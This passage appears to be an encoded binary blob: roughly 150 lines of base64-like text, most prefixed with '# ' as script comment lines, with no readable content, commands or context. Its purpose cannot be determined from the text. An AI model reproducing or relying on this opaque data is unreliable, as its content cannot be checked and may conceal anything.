s2uftFXcmFScjAl8KA2KkUQBJ0uEivaj0zIj3UgEuQb+xdPrR0HgfCrTzp2tp/NEupzXB+5qo9OPYEVuaQlrPZ7jcGWLKhpX3JSp\r\n# vNl7ebKy8InBXPHB3PPDleOAr8cBX44GvxQP3JOUKi8C9ScluI/B1FSPVNgvQfUl1sJWNQw6llkwzZyM2Y520G8vqVbH+WrfIVkw\r\n# 3tOJrYiH2nHDNLeKtqTYrGgdm8bAcq6fJif/KrynDRKxVY1tUJ9yiUtOakDbs6BDNuRtO54TfQDNPYj/gPRDKqFzMgG0BmMv+ifC\r\n# D8SOrEmJ3tuK1qLWsFa+rQLJzZqnvMEEUa6+r4VOBIfGcyRE8SMk+bi5ZB8Kzp3okuvd3G5qnCcqJLLVo1eu2qmh/EwvFAdHbMKO\r\n# GDvYHmfFAl/rnsh997WOLx+BSD6nsfiPGvXAEHczIxdyoYfDRiwyjhtFGW9CBlB+xAoyi9rqMxSFOQjAyGLOsNilv+BdhiS7uBtM\r\n# VTnE3DB63uFvEIpcKZhF7X8H52rrtmX1rjxLTyT8bdXDWLsQJ3oeghNbaOfB/BL9L4rWD/6DzxOK0C7AN8VeCXdL986jCmBt6jT6\r\n# s0Sc1IFe/Dk4R6VcO1sFbOzzI5Q5bMoqC0qRMubM282keV+lCxsvQWNoNBwxeZnTPPxJwO0zRPz3dBOOx9jsMobc4kgbc8eynsXY\r\n# D+2msnYo98WPE5GdXtINcH0ZZZld0hBx1toaIlX+1pHwaPfIzgzkibmBPX1p97NqFtis5mr9ero2sMJn5EbyX5h1mRb5yXgWUEZ2\r\n# leS8WRhQnv2uKvSmPYJhFmBXrZ5n1mh3l2Um2hlLFezrfNDSyE7uDfFM0VRB4PR74eTzwRjywKaQyIvCmoiaqRNyjMPMFyk/96jW\r\n# JJfLv6Mj7QF1Mryk2BdmMw4fEOeGbpJn3qt9mPFnHBYSC8eBZQLHM6ol1CN3EOtJY8Wxg2Osx0ojuhUgjaeuSim/RU/E9BY//pdO\r\n# v/6/aeygQGVYbuMivPyEz83nZCgUea4XRjHhTA2KkoxkPMA7E/SLTS3VCrHYoD/vxHUo6Nr3lEbK8f8CBLjrD2UuZLtxD/iN/0M8\r\n# KycwZ/hrUdQr7L7Xkcanwr4af8mzaLsrTqcvTcvvitGwX3aDhO/gvZhqUPc6D+D1Xw11EkvSWHizjaAWw1oJgDf4TbGya5K4MvYa\r\n# QvR4RhCTW8xcEYz7ld5He0v00/uv40fQ//qDjG/OE71UB63hYwNo7292Wju8gFsJiHTDG076oupVgX87B1Kvu2CZYQ5yRVXeC7wM\r\n# ruhsWfJBmSz6IPMwbJRQsEcF0BdMjmKFgRgQzFcy0FV+VZj2S3OrrLZKG22CRNNyVFp3k+peTm/SvtmLnwLlQFkb3L6NZtVH89kK\r\n# v9sBR20G0UOyrWQE6I/CRO1nBHVi9RQROhnFz0fsEUfakKnsyqo+lYJaE9YeCfV+kqqzF7t2/3uJ3jUp5Fq55xUcOf3S8ThdGoq8\r\n# Bn2/2KUa8TDbuKM5MsogZ8pgpMYlXpmtosrflqrK4UflSCpaKYGkFS0ewjIJlIlhWwbIRLKdguQg2QsFGhH3qadPDvqEqi068jfv\r\n# 0DjhFXgq/JPv1blrW/a9QlP81HgP3WtHb7MnabLGqzY7pH6uB3vIX7DfmyQ9rIMv0NXFaJhHSujVbrrhcIjtWFF6VuYi8ElPRirG\r\n# FvHK6WE2ScnlNyuU1GS2vSbm8JjezvLbK5XUotqSCfauMii2p12jRknqvFi2psLNVwWlnPstrU1KspuHahMDr8cDP44E34oFwbUI\r\n# gXJuS4dp0J0rN64zhZcUen5ckXoX82xHLSwyiaBVKxlehpO7fBZzGRSZEwooeBkiA3b81Wg6TvG4l46uQCnAz93OPLp1+muC160E\r\n# 9abUKsRWgpGAcuKYjuDNGjGaUm0KUGK1rUuO4KRrbnoJ5ESyvYPlwvBe1c4V7SPyec8UFqtERuDAeuCgeuFh1BwKXxAOr1L5Et2p\r\n# IzL+f/YD7D7AfH/gPYom1asjjsFh9CqqchajszQrWHMFGKtjICFZUsGIEKylYKYK1KFhLBGtVsNYYPZhaTw8M/zs8yx9hqvCYpPT\r\n# flRThCXIt/0lybf+HVqgXM6MNiHQObTjjovc2Yl2kU6yM7USnWFnXsegUK3aC5Vp0LmPJ6z9LXv9ZMsi3lXVvf+mdjnyzoGt57ZB\r\n# j+Y3ORr26tVhLB0eBole3gXe0Hb2q8H9sKfuFSTJSexjpT93yJ6zQF7J7P7Y295o60sGyjZbZgcsA2Sbcu84BL1HSV4xBaivG0m8\r\n# 7/XbQb5v49U+z+DiCVIXadMKU0Wsoi0OHS06wraGlQltKb0TrHz6Hnj3gBp0Gy3QIOLKD7HWHdJFleRfdf5nIyQf8+B+6ywvhGED\r\n# UJmLb/V8mqFZcJ01LpzXA6R0KeNa5JKON9gnG4ciFVLTkNX+8CAQ+7so0fzvhTHwn1EZyW/hsMuyvjNa+vdJBYlI5DudzcKoM+K+\r\n# ySGOcFckX7hmW9U5YNDUGt7bpUc9WNj3q2cZm/cfb2qy2pJNca3AcufbgeHKdQd+O5MC34nlRw7dLZNsh1XKqmdbv7dS82S6aS75\r\n# s03HS3Va646WLfMszdZzv+t1c0DJ93Vb9PVREhq7ApYhG+Ke54rsZMq/dpdsr3f2lu49095XuntKdCTdX7C+nilS/vVRY4ZT12t6\r\n# 2lAUU/sNsVuUI3NkyjUOke4DEn2WHsoO1A6ntOO2DJd4c6c6V7hHSXSDdw6U7T7p9PKZXHCvc2n4pTepLXHFcPCzwjpf4R0v8YxC\r\n# /f4RP4VkR/kkS/0TpniDd/vj3MyN8le7iOLwRT5UzFl7ckM6pagydGtLerLZCjeXq9iA2yzA2OzQxKKsTEF5OdGgivGcRX+r/QCd\r\n# +TDSqINGDpxEwmGvAiieUQ58JQA2/rODiccFMs0ZSXfdFD1iDpxM9m2tTMq/oknZHY8o/yCYd8hbtXfpAt5a0LqQ3kUb7f/oXNiV\r\n# M+ewMc3QZzdFEMMkI37ahzHawA1EEh7cOoiutVGx/ZWkHC/88oh+oAoheNxO9M0D0HNjAtQaCMl6kTEbSpM6boXNTCtrNT+JDgvh\r\n# 4szzjbdaOFzHzac1HdYLv27QQwW8FPzRIGzmXNNgRV1E1tMrAoMjPsqvPoJnOoIZE9awYYjCFsKlbakAJdjJib7FdEnlaQPUaQMu\r\n# wyfVaFT1O2nugXT4YA7vqrP2QSvdtg+CiGUcZWqi5xIbJTysjBgyS0p1BpBKdX07QmgTiEWEdDapXTOv0YTlcExX7h4yMQ4PBCmY\r\n# LEJ1/2Vmnu1fDG1w0u9O9AxUTtXXFukudOToEGXh5HdZbBNC3ZcNtSmRF3863+bE1WRJ3WQ2GK6HNUK3eBREwLxks1qUOiGMpZYx\r\n# nD9z6zujJyTEYj1/PJoUswmlnh1SyHCDq2Flwgs+RKA5dejfTZaXnGCKP+TrMEQUHGri18qzunShrepo4cLHoXdYilgzmCTz/x6Q\r\n# aYODqMgQ0DJbKelu+KaYHUoWUZw18WUSzEQ16FpxqT88DvH0rMtUo+OK0Z8Fuq5fm1+8Fy6FHZuLTJ8ryHTyagd7S8kArJOODD/L\r\n# mhkWjrpCRLd445JzuUtRDmx+PXobGopcpS13W1Adlua7iTdWRCbbfhhm3bkm6sjfNuL6WBRmGOTT5jGCFDc6sODU034YzGbc4LTT\r\n# ZRmfxsU/Klr3jA80y3xLM01K+89uHqlPZ7seFbKftYrK9gLtQHPAeBT0xbKn6R6KlqruI4p9VlNPUMHNiZxgca0Rm6RX9wJq8pTU\r\n# Ra05qNK07KyRdr0l3EO5G3b+XKCg0xoCtHawx87CCmYfBaH0/G965up9J0Np9NuOtZAS1drYNFLaHAiTYPFf8Av6h26g/5FOOpSw\r\n# Hz6EkSNERP2PFI1sZxmCs4DCM3sMOnhuhDp7H/vHwn89+6EdaOngBB6DwaPBCLpfkZ86RdSbo0tLarUUpOosMD4408BZ1V9HatwD\r\n# nXIl7rlqzUyWqz3kSfr50kVsZtlz24z5dj868ytBp0u2OPhpZliEd7wetvj3Dp6mfmaeJ8Tar1Hq5SvbJDeFbhIu4Ly7mPruEFsk\r\n# KBKwusKWdPBC3hWJ8Dey4PdncBY5gxAQtx7c50lchAkghlxScTc4SP9WrbKwMvqixZQdd6v0N7KWrsqyWZblWlSU4AYa+LuV1+Bt\r\n# YOdZw4dbaPNYL2vMCfxHu8s3RQ4mUVM9SQzy9wMxZXV+nUSIKY9GQ0EmottqNGomCW8/PRzQMrORYltDvEVEDB22v1GxYXeCJk2I\r\n# eoyDmCCO4WlSvG69Tiv1NBoOTVOcs52MmHTcn1jAU1q5+EasQ1TeOigNwxvXMCPe6EFe2zTrVNutCvsYlPXM89qmZYhVaQ5yLpNx\r\n# Yi4zB9Ta9yILDzXkZpcTrXBPx+0ejLxeKCo/Q/alKlA5W68LSin67FElTMmbStrhfwbZWb6src6qFxvdGOa6vlO5V0r1cuhukewV\r\n# c0Kxo30EkxAzu0kmoVVESfIANx0abNxyX27zhuNLmDcdVNEgGKT3ZdtfKPL4g3aulew3nmSabUrE8Q2kRse++3o7pNRuGV+xXIiA\r\n# xPEvDDeQxGIvJlLUXxke7/IdyEmy+rDH8Yn3MIMpGj+b0Uewni3Nt7Ce+ppX8YtxTQ4iaXm3z1usLsgVQDWt0L5bDJNug4tYq6ya\r\n# 7TM95n3CDrPsXpXuddK+X7o3cJjnSVfhJ/XCD7IcvylJcJ/vhei4sRhgPGcaU0/bG2JiziXYvTrBdT/9e8UWbNCTaISJ+2Wz5zxp\r\n# ysg6cLkZlhxlZIbOKfgIaHG4nJhG/7ameMTTnKZDuoc++Wf9ZOVrbcP8A6a1jiY+8CXRiJ/r8LawWy0m93fKTxLrL+f8BCRmx/Jc\r\n# hbvAmnlThN8uPB/QOOUdZN3TtZiRObLvYHtwvmqE6G21xMxX9ZonbRhZDy9qMcB3x0WK3UFwD3T5Gr91iSxuNuv9tmpC3qHS2QOu\r\n# n6H4gSi5DEZ4o323DyrcE5buNyndbSG9atBMEJTmO2utWAe1itvtWYrt5dyQirepLpAln5UZwI8RRjVu5QfiHrMPEklZ9WcR2noP\r\n# I4BWyv4wmLDYLtny0yLQ4tZnKYfnfRBFupSJQDvZasI4ZxredT8V3/BPEfCvSoxXU13KD3SDLlHQ88yqwirTUe9aMccRGqnCSV/2\r\n# +3YnRLvXJdytkXDfE2p0UgHLE2M1+vqfNWU4TWbpWMF04U1P0kbNuyfRTYG5Tgt15QS/Yy81UIdRrDJ3dx/OdoEBdC25QbOaMYHc\r\n# RylSwa8vr/gwRyFo4dU7DRhzGjoDugaOhX/HRkD5UvCs8GlL6R3RtpLbdNHU2VNKeEe4J1MfvYFDvSROhpRc17nhelCddwTbGKkm\r\n# IDgjmndXKkJsSgBC/OXGC2hbzW4YMp2kE/wJvZDvBQQmSogGt4NFuVAUvZXUOWRdhFOrw+3uiXg6rrC6YebFMvuR/GI4cI/iHgXa\r\n# 3XdKJEpTEN+OKvyyY/l7g3M+3ozsUtgH1ebaptJbzWYd8/mWpfGSiVtCCZDiJS+06e2G4Ql2CNBTVGUoUhxLVVZzeaqQ3NCw9Llt\r\n# rlOjFsXJ5pP+1n2Rkvk+7y2Cc2EJW94aEpxV05rA/ZTd4XMTTkIYIiq27jhVsK+COKMGvRa7BPhhRwXj6xGFsHqfuxBfEXndfnHH\r\n# cEhtbh2ofiB48Ee8j5rSRvpo7FMdUXHsiNHpY1f3w0eUFDEtEBh9aeCZg6TgV/jMOm6szqYuCv+MuyKxA+57Yv/7TIu3U1LvLlkP\r\n# UMBl8hDLOwx7Maha7VKtr1wRpkcOutcuEhFV0yiLBvD+V/vaYP9yp4sEW6Vz3HJmFQInvUW16WzqwUAzHLSVKohDxlJkDxP2nv7+\r\n# o3aa7MD3cgf9MqFO8F6bF+hXrk4OmxcYUoXjRlYq26AEREh+4Z6LgMSkbUiPjTRIF5ZrQflmkgjMZ2jYTGpnzHljQgEYqFCneVe0\r\n# gmri6s+jXYBY2rWbwDwHsXjQkqE8NHeoE7+KImrrICf6GzsFpiBP8lc7BP6Df9+n3Xfp9j37/YkEt0KsWt3/KDv6EZN/778cfVw3\r\n# sw1OcOho/FRxEAqQVPAvKp/2DEcqIXfSbuFbs3wMnEowtYflsMBsHI1g38P4ieAP1SAnPr5Cfjbcdaf8QULV7maqlh4r3RlSNcz6\r\n# U3mj4nxcrgDVkzcW6Mwf87BIB8PvxcyLZsidlNBdp12+TOIH1vh2lz39QJ1o4Vi592NejMCfF5me3NATOkzI6M4f40MmkL1epjCI\r\n# SJXbYLq1V8tBozakJMqERfgf6uTTkQ4DfVIe/rAEfxQ5CfIHuDUdXNA97hFPkmYRcarVgRByfFta0XFjXLbEb4u1yXb6nxvO16/I\r\n# 9JcqX22Jgs22Rr/uoupm2qNa1RaYOf6ABH3fKy+JlKhA6cd2v9JetxnZbHsfN1SW9ny7L/1n3z+oskvnkc/j64S7eL98tufQ7JZ/\r\n# 8Jd6w3oO9sEVvJATXHBwkxs/gl5mFDg5G4CsycCACX4vOG+QdCZIpCx5xFMvuU/hGeZZyt+Th7+RxmyJZotPY5iEI9xU6UXjk0M2\r\n# nS8h5aboCnQ/FjJU1XNibldg4R8WRI9Rpgw3nc2eKCs9TOT6v422K1Y3mHbh1UmSu6zqlR4mvmp2lnPnS+TLnvrTVOr9gCSq1dHe\r\n# T+KilZFSF+yujBQJ2OpUfDdFNugf02lfhp5M6/yVbKWJlKGMYwd4m1TSsR9qW58HeZiqR5o8NyzZx9RezIXqBwD4jar+D6ICdvuG\r\n# GJ5a9f57gRduiEzS7OBXkwT4uXbJb5vdlHMKaTxxQVn4oYf3z3M51S/ImHcCxCkzTXbekR6qTcHE3ag2icKX/0bj8v+2OExu4YB+\r\n# T+KRobtgazKWcGcoEPN+hywOW4HDwRivvFRVL5xN5cK8npCB+sgwog19Xe/dRk5u0Z0UaZ4E/WSIwmlN6cLJwgz7wRhXMIjuYBy7\r\n# Y6sLm3AqWp7BC4XcU3V7w7HbEIiWWmtTEF4bfaVt8h7NJjNvqfByOciJZ11ApYKwNTN9BO8UdOEH8GqRIVeGenoKqXtojXikiB74\r\n# pfqoLENcZlBzNYmaqWhDeJr3TDFodKQNHvHdB65oV3WEfLtwa6vo2XRyZbaM7Pj5b8NT4qR5Bd72Q4vH/LM+OITziduw5unBOz2j\r\n# y7g2vR9594CXdn/6R4svmjFOvu26F3Hfz+UVeo0TTYvBC0b1icQZ+ugPpyuZze8HQDOwwGYDWuGXvW/y1upriVng3hDcWg/RuaWj\r\n# kWB1C3tLVioMjXVDfnBnsKj78/GBRBSsULKngUQaCLSq4kIKtIticySc4leevS8THVFavYfCIaomWMvIiU0FJL06BLc0l7Roysms\r\n# l+m2hX6RGLTvbM4tT6aDQbhb+cs52liHt2cWQHhmk134l0QPKJbgkFd4FwZBfrzxCpwav/oY32vh2xsDuotmqrwvIOffK/fTWZjG\r\n# 4Qo6FrY16/6zP4N/St3H/jP8h/mfx/2/K8z9Nf7M45hb8/5s0t+BXsvmNLs6OlMypPHvV/f+K3h38NlbvYnUI+q6ri7BxemoY5Ef\r\n# DIE/Hzotm6LV1jmYu0Wvr4fSRTKWx/G6cRMl1wbgdIX85lXI14xv0K5WyricAflkpK2yzdUkdJNN0k/y64XcDNEWv9WCZXpxS91h\r\n# Mt8+O6HZrA91ucofRbaAM5twY3cZri3MojZMUwU7Ruy6LCHbaJipLGrNJJ6xBv3UWmUYTNtHtp4cLAtXZY8povZKOQj4K997nEn3\r\n# zT44y72jMXGmLHZ7dzzafHeeV1aZMVzTbJnsv54FmH837fTRCMJDCFpn0pzrVZSjCMSRTlNf5JOB8AZrw25A3hb1n3KWfH6bT8fH\r\n# H7VrR8D+PhOzgYxQTy5T/kfBVF2N54azsoCpQMptahy1rbpSxU8objRmr9cfvUXWxNJxJXyDK8Pzo+h7nrMCLnyK+p3TLTNcuDek\r\n# aBgXqE+qlXIZEBptd4kVtSvtCkXZ7W/VfdEAY/DuBF6w1YFiChVqRCk16Kf4L9gEuQpvAEkyqGEMeTEGLuQ3GKVUPhfE41lUOKlx\r\n# vIwx1xBH8xajjhkT9qPYwqjktjO3gPJHYsg2028C3Dw28EtYVqAPtO6pgHsElYbBALQG5MJf58dEu33HezRsEgMVOYDQ3mJh/7Rg\r\n# yZ+d4/qnwOQ3hc2X4GBk+PwculLwXCG8fz92M9hXhXkJr1FZueEYLr+CcO4D9YFp8WD0OdAdgCX0E0NpYAlCiF+K46cdZlpXDAWR\r\n# zxrLX3yj6tHZGRmMDKfxtHFzsDy4ieQrK0lFRZ4qoaklkERwfl637iiwZ6cHW/XtNErehQiQHUQrRWh2ukvWpbY1yXRy1C4VXN4T\r\n# XNIQvaQivbwivyim655LOuVXUdtuKqJG9e1Mdt4nah764VB3Epdi6phWUBWRkL8maFAfxKU19nSMIwClG45D7aTXl1Rn1Uyf30zY\r\n# N/dRJKcTKMY4AVJq1KM2zn9ZP22yxnzo/Wz91qn5ap/vf5n4ax/20NfcTctBHUmXpzGSWWh+rJ6AK2yOavRPI+3l4J0bQSeTdA3c\r\n# 6O7iR/OjgeJ4tfrS27K+9IbjTS6ntJkdtN5nbbjxNDhy6LSGq/xvqoX6m+g+izpWnCR+IjrytdVx/O1HrLrIvXkMBHcAmoCVOxIE\r\n# bHlUAUgZWcz3WRIUl0xT7uW8DDcLgHqlIaFnYfSAHPhYlX0hWE+gFaw3V8pLBnVkWpaFzAXzzH4HWnlpcsPUaWs7pLEH9i2e1VP+\r\n# ocrMdqP8X9K57Mq4TaOHqzgvv8LWL8wl+jlzoMevfo8zd4A2AU16q6zVkngq+IEZU97OEgZ4QkGtyOIMLrsVQm0HaFWXEtQ0RzYW\r\n# 0CF4ngl1HcmJfzLHADRVgEc52T8IRYJZWYy8bnIxQzsvxMX6ml1R45ArpTWM4npbjn7LNgCwLB2VVpbYfVgiZuXCuh5OONVeoTMi\r\n# ZruMRpr89zSSkESylzpugvH16DQMzCNg/KYQXRujeiLW7Yl3DaCsWmmQCp+Ck81RUxaOXoHnPH0Aoz8PSa4Jof5OXv0VEVHF2+Sa\r\n# fXXpDxe9GNk64BFtKq1CfVuFT0qIaLENay/F1M6fV7J+G0Mj6tEbeIiJOj6XVPFR8IpbWpE8qV7E+reInl6uZKUEzU4FmpgDNPPu\r\n# beebzTE7MYhnvf4xKEH+ia99J7PQu23nQtSv0CY/zOa2u/VKfkDGkf4IxoU/5zzAm3Mb+D0OrvLXtRNrdGHtmsJcgYwPfEMs2G3a\r\n# SGOYgUEoSFQx03fflhu8/Gv59WX5fDr8fNfkS7UUxsteQzHX1DIMYn/opkalc5UL6EhNimaDNetYNDJFDcCYa2fTM9tQ0OtQUATs\r\n# 4CwcThWRFsB5ac8FiVEFIauikvxhSBvBdh0xsPGHKS5I3OfwwwmIq+G+08MzvOMQ5vjrjKZqxHdPnt+4y4yj2XzzTLs/Yjv3/ytz\r\n# n9nwhQf7HE6+ke1bqIU7Pu3jvOsYhwBee2lDu+TdHXnOoPrlnuh4m3LNQ+Csf2AR4eN7FR6nU//bUtrvya9pUx/Z/mjm35/d6iNN\r\n# zB72m5Y/eyfzouJ5TOfLeGeWTe27kj1CFHhD7ylWM+NbPnr5P1aNww3HXqZzOvyFR6/H5I3Pic1f35PQQp+dPyGkOJ3DjH677cs/\r\n# hjPjVxf+4p2eJHibc8wJymiARr/vWEyr1tr2O/kbPZfzRMT2rH+Lnw4zT8zxS/8giwNRH53+/ZwQjpibO/l3PL9j/60O/9lYPbks\r\n# qzwHRHdhjinwK3P0xPn+QoaeH0LcBvYWhd4XQlwBdw9AXQugjgJ7G0OROCnonoIsYul0IPRk9NZOhh4bQwwHdmaHLQygE0ypjGfr\r\n# VELo9oA5D/xxCRwL61yRBvZ3r6vYGQ3cLoU8C9wcMPTyEQjdV5V6GHh1Cp4iltXItQ08MoaMBvYChtRB6CqBLGXppCJ0PaB9Dvxh\r\n# Ck2LWVWYw9Msh9D3gTmDoMyH0NUCLDP1DCH0cKWgM/WcIvRtQaGMT0G0+p6BXAPoyQ/cIoSsBfdQkk0YR2aK98pdMUjOgmVoDFXg\r\n# Xx9RDFvia6gpcfn0uLeV1cXesD0d2g4+39EnXDJPuaW8SDEdJKragQPd2ZkhSYuMMIgkKGo4zKbDb7gY3iy8raEHPGsuBXxtR3T4\r\n# K6/Zj45PrVv6f1234J13HG1uo2wFGVIto/MbrFo5fMlUT1qbZiFfUitXtINWlXe/rn1A3qKPzdxIF7B7/SfUJ0bpuQWq05nuZvBU\r\n# MCrzudTGYly4VvcwYYoc6C1awEkwtZrgq2NlhwQ7/pIL5u6iG7vikgoVordwERiynr4c5/TnxCTkNvA28yUgn62W7Oz8pu3rcris\r\n# TUQ9Fcx788CiShRxdyDFP42VFW52NtjqG7HQzrLNUbPZyYVMR/z8jsbkKTBBQqxs6aqrnYLNhDXTuop0SnIuDh4FDI++qyPts5EU\r\n# 60pvdVXq32ByWvwOqN8Ib0b3VJzVFhNdFRv6oTnTDEd9ncU1HqNofG2JCfUSxua2+8lA1P3yc7KB9lnFCAoli30LjwONNkeCb7eA\r\n# 85iQ7mJM8Hx9eQyjk9OKzUqGJDuVE/AVGZJVdMJQ/DBlKr4lE/m3x3YXg8pN4totLyem/+/Djj8Ns8lE2y8C/u8FfRQFVwr/bTMK\r\n# uHVyEQu1q4kKJNlcLP5SbK4et4YVv7HafxW/3coIbgxDh7m5kjxDw5SKMAXxtAxxs9JcF7PuupgyeCV6xQ8OCvBZ62llbS7HYXKQ\r\n# eKZsDizFSFpt0+NBFO7zzRWBsL0T9LSO4TARuh6BJ2i5Oo92s7e+aJsOAlFSp6IxVSdVUUllzYIPyF0y3a6sELMZxuiNJmKcrxzI\r\n# 9DEsgPpaXaHAzHoRsz7Adn1PZyMOIdnxuuPvEvi+4NQvRE0Sk6AxDbOAuIbkRLx3cjJ2c1UsCeOngJoSSZPdLhG4RoeK00USR+Z5\r\n# tlcH2A0XKkIXibWSKt5F38TZSvTGRA0h27jHYOVN8vfFAwUZ73HJjPRagqr6D9ov1irTX+4F29By1P3lW+9Jy9hcmj8I5uLZu8/1\r\n# 5Z6w/d4r15/jG/ow6MiM7st1VifwolsgusUTKDYlkdZcSwXaCViyRjNhYhOm8F0sHRkqbC0n1+SjqWD7h4Ic7vMW4iFfDkwVO11n\r\n# sPxH+pZG/c+CjcHQ5A25F+cVWnLQFe25XL2GLdJciQuxs+G4XINHLp4QFyOj5JNmMyBT9SWns8OlpUNpLTXnJS0Ydldx8Ryk57qM\r\n# F3np6K8ASAyYuQYMNqpnw+BjNlLbpRZxxMNvoprE12zjYppGVjL5B0ZpEGl1szAh3qly86Hw/rUFH+WV0ZkUTAyJX40jueUecUEz\r\n# X1NNeK+jFYwMauPI24k/DT3SK/SSXQ2f4o7SxXerug/PZsLl8pvyfy2dj+1D1cH6fcju/OboTjjl4F5zk4FcKfNYJvEWMdz/jPcB\r\n# 4DzLedyQe7otuB359uVOi3MwxhWVPkwJwm8qesfj4bqCghlTWJdPHinZhhXKdGGEydc/kCYATONzZJ505OdNLzi4VrE3bUsrUEjc\r\n# MFxNIFvsFavPsYtmL3d+3ayddym1ymqjrEq7rE1zXJ7muP+RKwh455Eku53t3f+eoOw6JuqPYL8/K7LweHAepENwvNWflcWPeoAW\r\n# bjDEmnfgZZrAacCyFbsGMX2XdsbmrLM+Ud1k57diB6N7sEo1sJ3vF/lRdEdMk/ixbvdif5SKiNFREPmLG2Y0rQCPVKz43taktatL\r\n# vDm/S5oJp0QzjUzQoI6DakUFZs9wsy+hp+81XZUyRjMSVkCtTcluNK02qwqYZT+Yj338LOL8Qrb/ie3MLN4qcZ5s2YW91L9aiXaT\r\n# WbP88g65wptGhdJDC8X4v+9Pw787+DPwz2J+Ffw/25+Dfk/0F+PdifzP8e7N/JPz7sL8I/77sL8G/nxt/f9Yr75d2l+4M6e4hXeS\r\n# E+12UNvhFlukR3padyuP0uYJ8a3YWh19CGHaI7xF4V9FcpE9PRNOOgFYGsqNgBU2kaiI4DJNvV0y+y/XoGnVZ1MavbO4oujFJP0w\r\n# y61KSdBE8MLsuXbeu757fUt+N5vHyOdl3unas1n1DdL85U7hX07scOZmNpFzu5PleLmmZ0Xo3J5ecpSIEzzzdxTO2WTTdZufMg5t\r\n# D+z542y/bfG/p7iPdfaVLPTdX9y/kATSTbzX25/6ELgGJN1Pdn5wg8v0C3Z+vok9qF6c0c/AAumypXQL/gS5u+S8S3pRFWr5A0EA\r\n# BQB3Cp0rFwVl0MdIm3VbplqTbwi7V49ows9WZKLNLMzIzlRbZ/ZTlPUC6B0r3MOkeJN3Z0j1YuodK9xC4MxmfsYOf0QiF3gtsOK6\r\n# h8ReL/inuuKy4RVareinP8TXCad+h/Qgyq5xhM6tWhsyshjICMJgxskdzfCwEgo7srxqouhbbokPpzoleoZpBO+baQTzvxsI/m6+\r\n# 6UAl95Rzx21nqOwfu4CHURoOHhW24C9fRCNYZdPFcmOxr7aK811JfXsdXZ3NdFg493GXh0PmUihksAD/LV3PLVuGaoc/l11ULOJs\r\n# jqDkAJIF3nRa69nwPizUSMoGCg5FPcnBeiN8N7YQ5m6QA/F+gDfcDwClO2x0m6kVUzvFfEV8V0yTX8UswbuO6pLKRt0z5pL3YxUp\r\n# G8gn/zQgGfU521m1v7p2lYn8LJlB+/U6IWSyYKgHTfz1K4BFinGzPbA5eFIsOVbtC5qvbx/TuEU9znMgH1wss76cb7WOCn6TjrVU\r\n# 5leDuyHhSR1JSI3rnxAsvksrD7vwf4BeNfwRtLfz12PV9WaVJZx0osuFGGbFpc7c5eEHlIBuZpFJ1vYZ+8o+tK1ccw5C9VF9yHj9\r\n# iPUNnN0s9IAskDccIGbNwNF0naGG41BBubQi3hWGMuGBeTsk11TDyynd81mIT/+JpluitL9I7pPNAp4/kxyqXiQZbe7xIIc3Vyjj\r\n# +qRCHxTR02nO9tNFYNkWk6FCNy8WsFWygWw16HS/2lRsRIusZV5vy3AAHeZ61HHSY2B2PaTJdvtrQRZs1JIgI8i0iFVobvs6bOL4\r\n# VFkBaHaAw+uyC3cy3n+ARxQbxVpQZ1x+e0wNramJjiHcVsBBzHHhE7CvsqXR+IbavXlrsd+QdojvlcdZxS7zCftq8WzS51zOJ8F7\r\n# HdutooxYcJ2rUlIB9PmPiX0K7UNQfi2R/iD6fp/r8xc/aJ9zY/sVpJb+Q0e4Q7vX0TmGNGam4MIJrSByaiUWudz8iFsgweFEUoH2\r\n# 0FXyHdzvYndrU5Pxonrqw2E/Cn4Ids6m5UyzRym9OyqrL271esG3to4WX36JadV/HMnQ4v1CuslX7iUC8geg9kNTrCvnJsznI/cr\r\n# 7coK8jOvmg7MkuR2mSpIRRpBM4FX5j7Kkyd0/CUeoE+PJGcFPcrSLLtW3An0uxmc2/r5DNjFGM4kGCAaTpG7Czlval600U8SJwyL\r\n# c6G01yM+NUf3UXWJYPSlB2li91OarZ1H10rZKx6ZqRrIlKXq7exPmqZSNj+VaTBnBEiorJb2nydrU/7twaV+pf16axxtlhncgb8Y\r\n# UQ5TYoKGSzZoU8sQ38Zp2JK+RR21pKVsY8a7QHbBGfHvz8LFqBjeaMQUrDYN24acP2uTmB22ybtBGCXEGckSq8QhD5LdQfy2sG48\r\n# L63qjU6+hzrRuBA+jv0w6zZLgeZT6Wkp9QPhPlt+jw4PnsuqdwZQYuqTNR0keaaGk/UfGacUAw9m4N4/PATynZElPTZvJ8XXU4dP\r\n# k90UeixvWl8UN68vihvVlcXx9KUyepX0oWulW4nGuZN5jEbO4x0hWBx/wqEhJCRqjfnwcTZQNv9376tCvHeNVoIQnZxWnOcLNJ+j\r\n# BPfEqmXwibzCvUjDHeXwCI5b3iF+hoy5iOSA4/2YM7rSP7G3hpWKz8QJ+DWyv4axAcDZ9Cue3pjxAk3m9E/umKJauMDkrxuHQBzN\r\n# xyWA4niVZE9S18jmcrCYFm7NPfQaU7xY5Hfr0XwT3kiPj6UFFtUhvRO9R8UpReiJk13M7diO343gOqRiCmp+I3XFELo6XlPwOZbO\r\n# SauUKut/D63y+oTFdyimsvcuyVSpjN8oz3vE+4ThR1p2FFMV7KVblZASPqSLIT7o3z1BRITfDIx/dwCMTgI8vd00oBDq27B6faBi\r\n# FxQSPQhyG59PRKCxk8ul8Vg7D3Dgvx0MjHR+GOQHl54r5THyYbRmeUeNzCwjFwgiB4/WQxFRGtX+IPCLe/jlvhDylQfVUJ4ygTgh\r\n# OMqErIlbxSRGml6E27Sw0EZrX1B01I/cFfx69jz5VrQu1Y91QNu9Y2mpyh9GBj147RhG9QUTSAZMsw2noDIlFgNNNheXFoAcpqEx\r\n# eC/fiiyT9PFrSz2Ma6OfRn0I/ozEi6WdBnt3dtrn16orNMFdH/59ap8KENrNOpbW9ZVub9HbM4NWmv0+1dFMEpPdmfSJKhmMp07N\r\n# AREUy0t+S6Rot8/bCsQvI9RTpKj/+i/K/Rf4rf5v8xzuCZMyv3J1j4bYGP/5JxYCuuKJgACOsVG4rjy3rdI3LqjL0qPjllvLA4op\r\n# SaRvyKM1qLBqdtGIHF4hlt+g/n5NtCJ0oU3Sfkvmu5KFYTwrBymOLa4/DG3jS1/Qp/9BV1TZwZYX0VBXpfSY9PuU3cU9qvN7Wu3j\r\n# TOS7ZPBt6mjH4SN9VM6dVmLw/bJlz+asX4wnz5TioOAGDk8s1eAr81SsAPtWNKy58FLKNHW+JJbl6JWKPp9jgPFF9/2mg6LpPDXI\r\n# VGqRfrMNfESH/KXzm/xBEdI0goqXguVwM94o63O+lY1FrsvgwhsU4z1F6z9LvdxWtkBmASkvoAQK67DgRDl6J53dlXX7fj+d3eV3\r\n# 